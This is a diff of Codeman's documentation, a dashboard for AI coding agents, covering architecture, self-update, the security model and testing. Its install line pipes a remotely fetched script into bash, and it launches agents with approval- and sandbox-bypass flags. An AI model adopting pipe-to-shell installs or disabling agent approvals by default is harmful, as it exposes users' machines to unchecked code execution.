| **Frontend** | `src/web/public/app.js` (~3.6K lines, core) + 5 infra modules (`constants.js`, `mobile-handlers.js`, `voice-input.js`, `notification-manager.js`, `keyboard-accessory.js`) + 7 domain modules (`terminal-ui.js`, `respawn-ui.js`, `ralph-panel.js`, `orchestrator-panel.js`, `settings-ui.js`, `panels-ui.js`, `session-ui.js`) + 5 feature modules (`ralph-wizard.js`, `api-client.js`, `subagent-windows.js`, `input-cjk.js`, `image-input.js`) + `sw.js` | |
|
||||
| **Types** | `src/types/index.ts` (barrel) → 15 domain files; also `src/types.ts` root re-export | See `@fileoverview` in index.ts |
|
||||
|
||||
★ = Large file (>50KB). All files have `@fileoverview` JSDoc — read that before diving in. Discovery aid: `grep -l '@fileoverview' src/web/routes/*.ts` lists all route modules; same grep works for `src/types/`, `src/web/public/*.js`.
|
||||
★ = Large, central file (>50KB) — read its `@fileoverview` first. All files have `@fileoverview` JSDoc — read that before diving in. Discovery aid: `grep -l '@fileoverview' src/web/routes/*.ts` lists all route modules; same grep works for `src/types/`, `src/web/public/*.js`.
|
||||
|
||||
**Local packages**: `packages/xterm-zerolag-input/` — local echo overlay for xterm.js; copy embedded in `app.js`. `packages/gesture-control/` (`codeman-gesture-control`) — hand-tracking overlay source; built to `src/web/public/gesture/gesture-codeman.js` via `npm run build:gesture` (see Frontend → Gesture control).
|
||||
**Local packages**: `packages/xterm-zerolag-input/` — local echo overlay for xterm.js; single-source, bundled to the gitignored `vendor/xterm-zerolag-input.js` and consumed by `app.js` (see Gotchas). `packages/gesture-control/` (`codeman-gesture-control`) — hand-tracking overlay source; built to `src/web/public/gesture/gesture-codeman.js` via `npm run build:gesture` (see Frontend → Gesture control).
|
||||
|
||||
**Config**: `src/config/` — 10 files. Import from specific files, not barrel.
|
||||
**Config**: `src/config/` — 10 files, no barrel (`index.ts`) exists; import from the specific file.
|
||||
|
||||
**Utilities**: `src/utils/` — re-exported via index. Key: `CleanupManager`, `LRUMap`, `StaleExpirationMap`, `BufferAccumulator`, `stripAnsi`, `Debouncer`, `KeyedDebouncer`. Also: `claude-cli-resolver`/`opencode-cli-resolver` (CLI path resolution), `string-similarity` (fuzzy matching), `regex-patterns` (ANSI/token/spinner patterns), `assertNever` (exhaustive checks), `token-validation` (auth tokens), `nice-wrapper` (process priority).
|
||||
**Utilities**: `src/utils/` — re-exported via index. Key: `CleanupManager`, `LRUMap`, `StaleExpirationMap`, `BufferAccumulator`, `stripAnsi`, `Debouncer`, `KeyedDebouncer`. Also: `claude-cli-resolver`/`opencode-cli-resolver`/`codex-cli-resolver` (CLI path resolution), `string-similarity` (fuzzy matching), `regex-patterns` (ANSI/token/spinner patterns), `assertNever` (exhaustive checks), `token-validation` (auth tokens), `nice-wrapper` (process priority).
|
||||
|
||||
### Data Flow
|
||||
|
||||
@@ -151,24 +153,32 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
|
||||
|
||||
**Idle detection**: Multi-layer (completion message → AI check → output silence → token stability). See `docs/respawn-state-machine.md`.
|
||||
|
||||
**Auto-resume on usage limit** ("token pause" control, opt-in per session, top of the Respawn tab): when Claude halts on a subscription limit ("5-hour limit reached ∙ resets 8pm" and all 1.0.x–2.1.x variants), `usage-limit-patterns.ts` (pure, unit-tested) parses the reset time from cleaned output; `SessionAutoOps` arms a timer for reset+2min, then sends Esc (dismisses the rate-limit dialog) + `continue`. Still-limited responses re-arm the loop (5-min retry on stale times); a `working` transition cancels it. Claude-mode only (detection rides `_processExpensiveParsers`). Persists/recovers via `SessionState.autoResumeEnabled`/`autoResumeAt`; respawn cycles are blocked while paused (`isLimitPaused` guard in `onIdleDetected` — prevents `/clear` from wiping the paused conversation). Endpoint: `POST /api/sessions/:id/auto-resume`; SSE: `session:limitPauseScheduled`/`limitResume`/`limitResumeCancelled`. Tests: `test/usage-limit-patterns.test.ts`, `test/session-auto-resume.test.ts`.
|
||||
|
||||
**Orchestrator**: State machine that turns a user goal into a phased plan and drives it to completion: `idle → planning → approval → executing → verifying → (replanning) → completed/failed`. `OrchestratorLoop` (engine) delegates plan generation to `orchestrator-planner` and per-phase verification gates to `orchestrator-verifier`, executing phases via team agents/`task-queue`. State persists under the `orchestrator` key in `state.json`. Distinct from Ralph (single-session autonomous loop) — orchestrator coordinates multi-phase, multi-agent execution. See `docs/orchestrator-loop-architecture.md`.
|
||||
|
||||
**Hook events**: Claude Code hooks trigger via `/api/hook-event`. Key events: `permission_prompt`, `elicitation_dialog`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`. See `src/hooks-config.ts`.
|
||||
**External CLI modes (OpenCode, Codex)**: `isExternalCliMode()` in `session.ts` gates Claude-specific behavior — Ralph tracker, BashToolParser, token/CLI-info parsing, and ❯-prompt readiness detection are all skipped (these CLIs render their own TUIs; readiness = output stabilization instead). Both modes **require tmux — no direct PTY fallback** — because secrets are injected via `tmux setenv`, never on the spawn command line: OpenCode gets `OPENCODE_CONFIG_CONTENT` etc., Codex gets `OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` (`setCodexEnvVars` in `tmux-manager.ts`). Codex specifics: command built by `buildCodexCommand()` (`--model`, `resume <id>`, `--dangerously-bypass-approvals-and-sandbox` from the `codexConfig` payload / `codexDangerouslyBypassApprovals` app setting; `renderMode` is schema-coerced to `'hybrid'`, the only supported mode); tmux exports `COLORTERM=truecolor` + unsets `NO_COLOR` (other modes unset `COLORTERM`); availability via `GET /api/codex/status` — session/quick-start routes fail with `OPERATION_FAILED` and an install hint (`npm install -g @openai/codex`) when the binary is missing. Frontend: run-mode dropdown → `runCodex()` in `session-ui.js` ("Run CX" label), App Settings → Codex CLI tab; Respawn/Ralph options are Claude-only, so session options open on the Summary tab for external CLI sessions. Tests: `test/run-mode-ui.test.ts` (vm-sandbox harness, no real DOM).
|
||||
|
||||
**Hook events**: Claude Code hooks trigger via `/api/hook-event`. Key events: `permission_prompt`, `elicitation_dialog`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`. See `src/hooks-config.ts`; upstream hook semantics mirrored in `docs/claude-code-hooks-reference.md`.
|
||||
|
||||
**Agent Teams**: `TeamWatcher` polls `~/.claude/teams/`, matches to sessions via `leadSessionId`. Teammates are in-process threads appearing as subagents. Enable: `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`. See `docs/agent-teams/`.
|
||||
|
||||
**Circuit breaker**: Prevents respawn thrashing. States: `CLOSED` → `HALF_OPEN` → `OPEN`. Reset: `/api/sessions/:id/ralph-circuit-breaker/reset`.
|
||||
|
||||
**Self-update** (App Settings → Updates): in-app updater for **git-clone installs** supervised by systemd/launchd. Supervisors: `systemd` (user unit), `launchd` (GUI LaunchAgent, gui-domain kickstart), `launchd-daemon` (KeepAlive system LaunchDaemon on headless Macs — restarts rootlessly by killing the server PID and letting launchd respawn it; detected only when the daemon is bootstrapped AND KeepAlive), else `none` → "restart manually" message; on next boot a manual-restart status auto-completes when the running version matches the target. The update restarts the very process running it, so the real work runs in a DETACHED `scripts/self-update.sh` (`git checkout <release tag> && npm install && npm run build && restart`) that outlives the restart; it writes progress to `dataPath('update-status.json')`, which the browser polls across the connection drop. Channel = latest `codeman@X.Y.Z` release tag; dirty trees are auto-stashed. `src/web/self-update.ts` splits PURE helpers (semver/tag parsing, reconcile decision — unit-tested) from IO wrappers (`getInstallInfo`/`checkForUpdate`/`startUpdate`/`reconcileUpdateOnBoot`). Routes: `GET /api/system/update/check`, `POST /api/system/update`, `GET /api/system/update/status`. Types: `src/types/update.ts`. npm installs report as non-updatable.
|
||||
|
||||
**Port interfaces**: Routes declare dependencies via port interfaces (`src/web/ports/`). Routes use intersection types (e.g., `SessionPort & EventPort`).
|
||||
|
||||
### Frontend
|
||||
|
||||
Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. Load order: `constants.js`(1) → `mobile-handlers.js`(2) → `voice-input.js`(3) → `notification-manager.js`(4) → `keyboard-accessory.js`(5) → `input-cjk.js`(5.5) → `app.js`(6) → `terminal-ui.js`(7) → `respawn-ui.js`(8) → `ralph-panel.js`(9) → `orchestrator-panel.js`(9.5) → `settings-ui.js`(10) → `panels-ui.js`(11) → `session-ui.js`(12) → `ralph-wizard.js`(13) → `api-client.js`(14) → `subagent-windows.js`(15). `input-cjk.js` handles CJK IME composition via an always-visible textarea below the terminal (`window.cjkActive` blocks xterm's onData).
|
||||
Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. Load order: `constants.js`(1) → `mobile-handlers.js`(2) → `voice-input.js`(3) → `notification-manager.js`(4) → `keyboard-accessory.js`(5) → `input-cjk.js`(5.5) → `app.js`(6) → `terminal-ui.js`(7) → `respawn-ui.js`(8) → `ralph-panel.js`(9) → `orchestrator-panel.js`(9.5) → `settings-ui.js`(10) → `panels-ui.js`(11) → `session-ui.js`(12) → `ralph-wizard.js`(13) → `api-client.js`(14) → `subagent-windows.js`(15) → `image-input.js`(16). `input-cjk.js` handles CJK IME composition via an always-visible textarea below the terminal (`window.cjkActive` blocks xterm's onData).
|
||||
|
||||
**Z-index layers**: subagent windows (1000), plan agents (1100), log viewers (2000), image popups (3000), local echo overlay (7).
|
||||
|
||||
**Multi-monitor button** (header, top-right; the notification bell it sits beside stays hidden — notifications live in Settings → Notifications). `app.launchMultiMonitor()` (in `panels-ui.js`) POSTs `/api/system/span-displays`, which spawns `scripts/span-codeman.sh` — a fresh, maximized browser `--app` window sized to the union of all displays (macOS; needs "Displays have separate Spaces" OFF). Supports the gesture layer's in-page floating session panels dragging across the physical monitor seam. **Opt-in:** hidden by default; enable under App Settings → Display → **Header Displays** ("Multi-monitor Button", `showMultiMonitorButton`). The button carries a `btn-multimonitor--hidden` class in the template; `renderIndexHtml` strips that class at render when the setting is on (a unique class token, not a brittle match on the aria-label/style copy), and `applyHeaderVisibilitySettings()` toggles the same class live on save. Solo (detached) windows hide it via `body.solo-mode`.
|
||||
|
||||
**Response-viewer (eye) button** (header) is likewise **hidden by default** — enable under App Settings → Display → **Response Viewer** (`showResponseViewer`). Purely client-side (no `renderIndexHtml` step): the template ships with `btn-response-viewer-header--hidden` and `applyHeaderVisibilitySettings()` (settings-ui.js) toggles it after settings load. Hiding must go through that marker class — the base rule is `display:inline-flex !important`, so an inline style can't override it. `showResponseViewer` is in the `displayKeys` per-device set (settings-ui.js), so it does NOT sync across devices.
|
||||
|
||||
**Gesture control** (the camera hand-tracking overlay) is **opt-in, default OFF**, under App Settings → Display → **Input** (`gestureControlEnabled`). `CODEMAN_GESTURE=1` makes the feature *available* on the instance (CSP widening + `/gesture/` assets) and sets `window.__codemanGestureAvailable` (the Input section only shows when set); the overlay bundle is injected by `renderIndexHtml` **only when the setting is enabled**, so that method is `async` and reads `settings.json` via `readSettings(true)` — the `true` forces a **fresh** read (bypassing the 2s `_settingsCache`), because a post-save reload happens within that TTL and the cached value would otherwise render the pre-toggle state. Toggling the setting reloads the page (the bundle is render-injected).
|
||||
|
||||
**Gesture-control source lives in-repo** at `packages/gesture-control/` (workspace package `codeman-gesture-control`, was the standalone `Ark0N/codeman-gesture-control` repo). The transport-agnostic core is `src/gesture/*` (MediaPipe GestureRecognizer → One-Euro-filtered cursor → pinch state machine); `src/codeman/entry.ts` is the Codeman *consumer* that maps grab/drag/drop onto real `.session-tab`/toolbar buttons and is the bundle entry. **Edit there, then run `npm run build:gesture`** (`scripts/build-gesture-bundle.mjs` → esbuild bundles `entry.ts`, MediaPipe JS included, into `src/web/public/gesture/gesture-codeman.js`) and **commit the regenerated bundle** — the committed bundle is what dev/`tsx` serves (no bundler at runtime), and `scripts/build.mjs` reruns the same step so prod always reflects current source. The MediaPipe **wasm + model** are NOT bundled — loaded at runtime from same-origin `/gesture/wasm` + `/gesture/gesture_recognizer.task`, fetched by `scripts/fetch-gesture-assets.mjs` (gitignored, see Gotchas). `entry.ts` mounts `window.__codemanGesture = new GestureBridge()` idempotently at module-eval. A standalone vite playground (`npm run dev` in the package — fake tabs, no Codeman) lets you iterate on gesture *feel* in isolation. ⚠️ Keep `MP_VERSION` in `fetch-gesture-assets.mjs` in sync with `@mediapipe/tasks-vision` in `packages/gesture-control/package.json`.
|
||||
@@ -185,12 +195,14 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
|
||||
|-------|---------|
|
||||
| **Auth** | Optional HTTP Basic via `CODEMAN_USERNAME` (defaults to `admin`) / `CODEMAN_PASSWORD` env vars. Active only when `CODEMAN_PASSWORD` is set (`middleware/auth.ts`) |
|
||||
| **Network bind** | Defaults to `127.0.0.1` (loopback). A non-loopback bind (`--host`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` **starts but warns loudly** (0.9.0; was fail-closed in COD-29/#107). `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` acknowledges the warning. Classifier: `network-auth-policy.ts` |
|
||||
| **Host guard** | Always-on Host-header allowlist blocks DNS rebinding (RCE on the default no-auth loopback install). Allows loopback, any IP literal, the bind host, `*.ts.net`/`*.trycloudflare.com`/`*.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS`. ⚠️ **Custom reverse-proxy domains are rejected** unless added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`. `registerHostGuard` in `server.ts`; policy in `network-auth-policy.ts` (`buildHostPolicy`/`isAllowedRequestHost`/`isAllowedRequestOrigin`) |
|
||||
| **CSRF / Origin** | Always-on cross-site Origin guard rejects state-changing requests from foreign origins (covers self-update, session create/input, settings/tunnel toggles). **A missing Origin is allowed** so curl/CLI and Claude Code hooks keep working. The global body parser keeps `text/plain` RAW (no auto-JSON-parse, which had enabled simple-request CSRF); `/api/crash-diag` self-parses. WebSocket upgrade validates Origin+Host (anti-CSWSH) in `ws-routes.ts`. Added in `c669518` (closes 2026-06-09 review CRITICALs) |
|
||||
| **QR Auth** | Single-use 6-char tokens (60s TTL) for tunnel login. See `docs/qr-auth-plan.md` |
|
||||
| **Sessions** | 24h cookie (`codeman_session`), auto-extend, device context audit |
|
||||
| **Rate limit** | 10 failed auth/IP → 429 (15min decay). QR has separate limiter |
|
||||
| **Hook bypass** | `/api/hook-event` exempt from auth (localhost-only, schema-validated) |
|
||||
| **Env vars** | `CODEMAN_MUX` (managed session), `CODEMAN_API_URL` (auto-set for hooks) |
|
||||
| **Validation** | Zod schemas, path allowlist regex, `CLAUDE_CODE_*` env prefix allowlist |
|
||||
| **Env vars** | `CODEMAN_MUX` (managed session), `CODEMAN_API_URL` (auto-set for hooks), `CODEMAN_ALLOWED_HOSTS` (extra Host/Origin allowlist entries for reverse proxies, comma-separated; bare `.suffix` matches subdomains) |
|
||||
| **Validation** | Zod schemas, path allowlist regex, env prefix allowlist (`CLAUDE_CODE_*`/`OPENCODE_*`/`CODEX_*`) |
|
||||
| **Headers** | CORS localhost-only, CSP, X-Frame-Options, HSTS if HTTPS |
|
||||
|
||||
### SSE Event Registry
|
||||
@@ -199,11 +211,13 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
|
||||
|
||||
### API Routes
|
||||
|
||||
~130 handlers across 15 route files in `src/web/routes/`: system (37, incl. `POST /api/system/span-displays` → spawns `scripts/span-codeman.sh`), sessions (28), orchestrator (10), cases (9), ralph (9), plan (8), respawn (7), files (6), mux (5), push (4), scheduled (4), teams (2), hooks (1), clipboard (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
|
||||
~136 handlers across 15 route files in `src/web/routes/`: system (41, incl. self-update `check`/`status`/`POST /api/system/update`, `POST /api/system/span-displays` → spawns `scripts/span-codeman.sh`, and `GET /api/codex/status`), sessions (29), orchestrator (10), cases (9), ralph (9), plan (8), respawn (7), files (6), mux (5), push (4), scheduled (4), teams (2), hooks (1), clipboard (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
|
||||
|
||||
**HTTP contract** (stable since 0.9.x, see `docs/versioning-policy.md`; full envelope/status/error-code/SSE spec in `docs/api-reference.md`): responses use the `ApiResponse<T>` envelope — `{ success: true, data? }` or `{ success: false, error, errorCode }` (`src/types/api.ts`). `/api/v1/*` is a versioned alias of `/api/*` (URL rewrite in `server.ts`).
|
||||
|
||||
## Adding Features
|
||||
|
||||
- **API endpoint**: Types in `src/types/` domain file, route in `src/web/routes/*-routes.ts`, use `createErrorResponse()`. Validate with Zod schemas in `schemas.ts`.
|
||||
- **API endpoint**: Types in `src/types/` domain file, route in `src/web/routes/*-routes.ts`. Return the `ApiResponse` envelope (`{ success: true, data }`; errors via `createErrorResponse()` with proper status code). Validate with Zod schemas in `schemas.ts`.
|
||||
- **SSE event**: Add to `src/web/sse-events.ts` + `SSE_EVENTS` in `constants.js`, emit via `broadcast()`, handle in `app.js` (`addListener(`)
|
||||
- **Session setting**: Add to `SessionState`, include in `session.toState()`, call `persistSessionState()`
|
||||
- **Hook event**: Add to `HookEventType`, add hook in `hooks-config.ts:generateHooksConfig()`, update `HookEventSchema`
|
||||
@@ -214,27 +228,30 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
|
||||
|
||||
## State Files
|
||||
|
||||
All in `~/.codeman/`: `state.json` (sessions, settings, respawn), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` (VAPID), `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log).
|
||||
All in `~/.codeman/`: `state.json` (sessions, settings, respawn), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` (VAPID), `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart).
|
||||
|
||||
**Generated top-level dirs** (all gitignored — don't edit or commit): `dist/` (esbuild output), `out/`, `coverage/`, `test-results/`, `tmp/`, `screenshots-echo-diag/`. The committed gesture bundle (`src/web/public/gesture/gesture-codeman.js`) IS tracked, but its runtime wasm/model assets (`src/web/public/gesture/wasm/`, `*.task`) are fetched and gitignored.
|
||||
|
||||
## Testing
|
||||
|
||||
**CRITICAL: You are running inside a Codeman-managed tmux session.** Never run `npx vitest run` (full suite) — it spawns/kills tmux sessions and will crash your own session. Only run individual files:
|
||||
**Never run the bare full suite** (`npm test` with no file argument): the default config includes the browser-driven suites (`test/mobile/**` and 3 other Playwright tests), which need a live server + chromium + environment-specific PNG baselines and will fail/hang locally. Run individual files, or `test:ci` for a broad sweep:
|
||||
|
||||
```bash
|
||||
npm test -- test/<specific-file>.test.ts # Single file (SAFE, uses config/vitest.config.ts)
|
||||
npm test -- -t "pattern" # By name (SAFE)
|
||||
# npm test # DANGEROUS — runs full suite, DON'T DO THIS
|
||||
npm run test:ci # Everything except browser/perf suites — what CI runs
|
||||
# npm test # DON'T — includes browser/visual suites
|
||||
```
|
||||
|
||||
Raw `npx vitest` skips `config/vitest.config.ts`; always use `npm test --` or pass `--config config/vitest.config.ts`.
|
||||
|
||||
**Config**: Vitest with `globals: true`, `fileParallelism: false`. Timeout 30s, teardown 60s.
|
||||
**Config**: Vitest with `globals: true`, `fileParallelism: false`. Timeout 30s, teardown 60s. `config/vitest.ci.config.ts` = same minus the browser/perf excludes — keep the two configs in sync when changing shared options.
|
||||
|
||||
**Safety**: `test/setup.ts` snapshots pre-existing tmux sessions and never kills them. Only `registerTestTmuxSession()` sessions get cleaned up.
|
||||
**Tmux safety**: under vitest (`VITEST` env var, set automatically), `TmuxManager` no-ops ALL shell commands and becomes a pure in-memory mock — tests physically cannot create/kill/attach real tmux sessions (`IS_TEST_MODE` in `src/tmux-manager.ts`). `test/setup.ts` additionally strips `CODEMAN_PASSWORD`/`CODEMAN_USERNAME` so auth state from the running instance can't leak into tests.
|
||||
|
||||
**Ports**: Pick unique ports manually. Search `const PORT =` before adding new tests.
|
||||
|
||||
**Respawn tests**: Use `MockSession` from `test/respawn-test-utils.ts`. **Route tests**: `app.inject({ method, url, payload })` in `test/routes/` — no live port needed. **Mobile tests**: Playwright suite in `test/mobile/` (135 device profiles).
|
||||
**Respawn tests**: Use `MockSession` from `test/respawn-test-utils.ts`. **Route tests**: `app.inject({ method, url, payload })` in `test/routes/` — no live port needed. **Mobile tests**: Playwright suite in `test/mobile/` (135 device profiles). Browser-testing infra and practices: `docs/browser-testing-guide.md`.
|
||||
|
||||
## Debugging
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2024 Claudeman Contributors
|
||||
Copyright (c) 2024-2026 Codeman Contributors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -2,18 +2,22 @@
|
||||
<img src="docs/images/codeman-title.svg" alt="Codeman" height="60">
|
||||
</p>
|
||||
|
||||
<h2 align="center">The missing control plane for AI coding agents</h2>
|
||||
<h2 align="center">Mission control for AI coding agents</h2>
|
||||
|
||||
<p align="center">
|
||||
<em>Agent Visualization • Zero-Lag Input Overlay • Mobile-First UI • Respawn Controller • Multi-Session Dashboard </em>
|
||||
<em>Claude Code • OpenCode • Codex — One Dashboard • Any Device</em>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<strong>English</strong> • <a href="README.zh-CN.md">简体中文</a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-1e3a5f?style=flat-square" alt="License: MIT"></a>
|
||||
<a href="https://nodejs.org/"><img src="https://img.shields.io/badge/Node.js-18%2B-22c55e?style=flat-square&logo=node.js&logoColor=white" alt="Node.js 18+"></a>
|
||||
<a href="https://nodejs.org/"><img src="https://img.shields.io/badge/Node.js-22%2B-22c55e?style=flat-square&logo=node.js&logoColor=white" alt="Node.js 22+"></a>
|
||||
<a href="https://www.typescriptlang.org/"><img src="https://img.shields.io/badge/TypeScript-5.9-3b82f6?style=flat-square&logo=typescript&logoColor=white" alt="TypeScript 5.9"></a>
|
||||
<a href="https://fastify.dev/"><img src="https://img.shields.io/badge/Fastify-5.x-1e3a5f?style=flat-square&logo=fastify&logoColor=white" alt="Fastify"></a>
|
||||
<img src="https://img.shields.io/badge/Tests-1435%20total-22c55e?style=flat-square" alt="Tests">
|
||||
<img src="https://img.shields.io/badge/Tests-2861%20total-22c55e?style=flat-square" alt="Tests">
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
@@ -30,11 +34,11 @@ curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | b
|
||||
|
||||
This installs Node.js and tmux if missing, clones Codeman to `~/.codeman/app`, and builds it.
|
||||
|
||||
You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code) or [OpenCode](https://opencode.ai) (or both). After install:
|
||||
You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), or [Codex](https://developers.openai.com/codex/cli) (any combination works). After install:
|
||||
|
||||
```bash
|
||||
codeman web
|
||||
# Open http://localhost:3000 — press Ctrl+Enter to start your first session
|
||||
# Open http://localhost:3000 and start your first session
|
||||
```
|
||||
|
||||
<details>
|
||||
@@ -99,7 +103,7 @@ launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.codeman.web.plist
|
||||
wsl bash -c "curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | bash"
|
||||
```
|
||||
|
||||
Codeman requires tmux, so Windows users need [WSL](https://learn.microsoft.com/en-us/windows/wsl/install). If you don't have WSL yet: run `wsl --install` in an admin PowerShell, reboot, open Ubuntu, then install your preferred AI coding CLI inside WSL ([Claude Code](https://docs.anthropic.com/en/docs/claude-code) or [OpenCode](https://opencode.ai)). After installing, `http://localhost:3000` is accessible from your Windows browser.
|
||||
Codeman requires tmux, so Windows users need [WSL](https://learn.microsoft.com/en-us/windows/wsl/install). If you don't have WSL yet: run `wsl --install` in an admin PowerShell, reboot, open Ubuntu, then install your preferred AI coding CLI inside WSL ([Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), or [Codex](https://developers.openai.com/codex/cli)). After installing, `http://localhost:3000` is accessible from your Windows browser.
|
||||
</details>
|
||||
|
||||
---
|
||||
@@ -177,6 +181,8 @@ Watch background agents work in real-time. Codeman monitors agent activity and d
|
||||
- **Auto-behavior** — windows auto-open on spawn, auto-minimize on completion, tab badge shows "AGENT" or "AGENTS (n)" count
|
||||
- **Nested agents** — supports 3-level hierarchies (lead session -> teammate agents -> sub-subagents)
|
||||
|
||||
**Agent Teams** — first-class support for Claude Code's native multi-agent teams (`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`). `TeamWatcher` polls `~/.claude/teams/`, matches teammates to their lead session, and surfaces them as live subagent windows with **team-aware idle detection** — so the Respawn Controller won't fire while teammates are still working. See [`docs/agent-teams/`](docs/agent-teams/).
|
||||
|
||||
---
|
||||
|
||||
## Zero-Lag Input Overlay
|
||||
@@ -214,6 +220,20 @@ WATCHING → IDLE DETECTED → SEND UPDATE → /clear → /init → CONTINUE →
|
||||
|
||||
---
|
||||
|
||||
## Orchestrator Loop
|
||||
|
||||
Beyond single-session respawn, the **Orchestrator** turns a high-level goal into a phased plan and drives it to completion across multiple agents — a state machine that runs `idle → planning → approval → executing → verifying → (replanning) → completed`.
|
||||
|
||||
- **Plan, then execute** — generates a phased plan from your goal and pauses for approval before touching anything; reject with feedback to regenerate
|
||||
- **Per-phase verification gates** — each phase is verified before the next begins; on failure the orchestrator replans instead of barreling ahead
|
||||
- **Multi-agent execution** — fans phases out to team agents / a task queue, coordinating work too big for one session
|
||||
- **Crash-safe** — full state persists under the `orchestrator` key in `state.json`, so it survives restarts
|
||||
- **Driven from the UI or API** — the Orchestrator panel, or `POST /api/orchestrator/start` → `/approve` → `/status` (10 endpoints)
|
||||
|
||||
> Distinct from Ralph (a single-session autonomous loop): the orchestrator coordinates multi-phase, multi-agent execution. Full design: [`docs/orchestrator-loop-architecture.md`](docs/orchestrator-loop-architecture.md).
|
||||
|
||||
---
|
||||
|
||||
## Multi-Session Dashboard
|
||||
|
||||
Run **20 parallel sessions** with full visibility — real-time xterm.js terminals at 60fps, per-session token and cost tracking, tab-based navigation, and one-click management.
|
||||
@@ -270,6 +290,20 @@ PTY Output → 16ms Server Batch → DEC 2026 Wrap → SSE → Client rAF → xt
|
||||
|
||||
---
|
||||
|
||||
## More Features
|
||||
|
||||
- **Self-update** — git-clone installs under systemd/launchd update in place from **App Settings → Updates**: it detects the latest release, auto-stashes a dirty tree, and streams build progress across the service restart (npm installs report as non-updatable)
|
||||
- **Multi-CLI** — run **Claude Code**, **OpenCode**, or **Codex** per session; env-var prefixes auto-gate (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*`). See [`docs/opencode-integration.md`](docs/opencode-integration.md)
|
||||
- **Effort & Ultracode** — set a per-session default effort (`low`–`max`) or enable **ultracode** (dynamic multi-agent workflows). Soft defaults only — switchable anytime with `/effort` in-session. Extended-thinking budget is configurable too
|
||||
- **Voice input** — dictate prompts with Deepgram Nova-3 (Web Speech API fallback): toggle recording, auto-silence stop, live level meter (`Ctrl+Shift+V`)
|
||||
- **Image input** — paste or drag-and-drop images straight into a session
|
||||
- **Gesture control** *(opt-in)* — a MediaPipe hand-tracking overlay to grab/drag session windows and pinch buttons, hands-free. Enable with `CODEMAN_GESTURE=1` + App Settings → Display
|
||||
- **Multi-monitor span** *(macOS)* — one click opens a browser window maximized across all displays, so floating agent/gesture panels can cross the physical seam
|
||||
- **CJK / IME input** — full composition support for Chinese / Japanese / Korean
|
||||
- **OS notifications & hostname-aware titles** — desktop alerts and tab titles are prefixed `codeman:<host>` so multi-host setups stay unambiguous
|
||||
|
||||
---
|
||||
|
||||
## Remote Access — Cloudflare Tunnel
|
||||
|
||||
Access Codeman from your phone or any device outside your local network using a free [Cloudflare quick tunnel](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/) — no port forwarding, no DNS, no static IP required.
|
||||
@@ -391,6 +425,41 @@ When someone authenticates via QR, the desktop shows a notification toast with t
|
||||
|
||||
---
|
||||
|
||||
## Security
|
||||
|
||||
Codeman launches sessions with `--dangerously-skip-permissions`, so the web UI is by design a remote-code-execution surface for whoever can reach it — the whole security model exists to control *who* that is. Recent hardening (v0.9.0 + v0.9.5) closes the browser-driven attack paths that bite self-hosted dev tools. Full model: [`docs/security-architecture.md`](docs/security-architecture.md). **Found a vulnerability?** See [`SECURITY.md`](SECURITY.md) for private disclosure and the list of known limitations.
|
||||
|
||||
### Network & access
|
||||
|
||||
- **Loopback by default** — binds `127.0.0.1`, reachable only from the same machine, so the no-password default is safe out of the box. Binding a non-loopback host without `CODEMAN_PASSWORD` *starts but prints a loud warning* with three concrete fixes (set a password, loopback + an authenticated tunnel, or explicitly acknowledge with `--allow-unauthenticated-network`)
|
||||
- **Optional auth, real sessions** — HTTP Basic via `CODEMAN_USERNAME` (default `admin`) / `CODEMAN_PASSWORD`. Success issues an opaque 256-bit `codeman_session` cookie (`randomBytes(32)`) — validated server-side, not client-signed, so it can't be forged offline (24h TTL, auto-extend, device-context audit log)
|
||||
- **Per-IP rate limiting** — 10 failed attempts → `429` with `Retry-After` (15-min decay). A valid cookie or correct password recovers *immediately* even while an attacker hammers the same IP — important because all tunnel traffic shares one loopback IP. QR auth has its own separate limiter
|
||||
|
||||
### Always-on browser hardening (v0.9.5)
|
||||
|
||||
These run for **every** request — before auth, even on the default no-password loopback install:
|
||||
|
||||
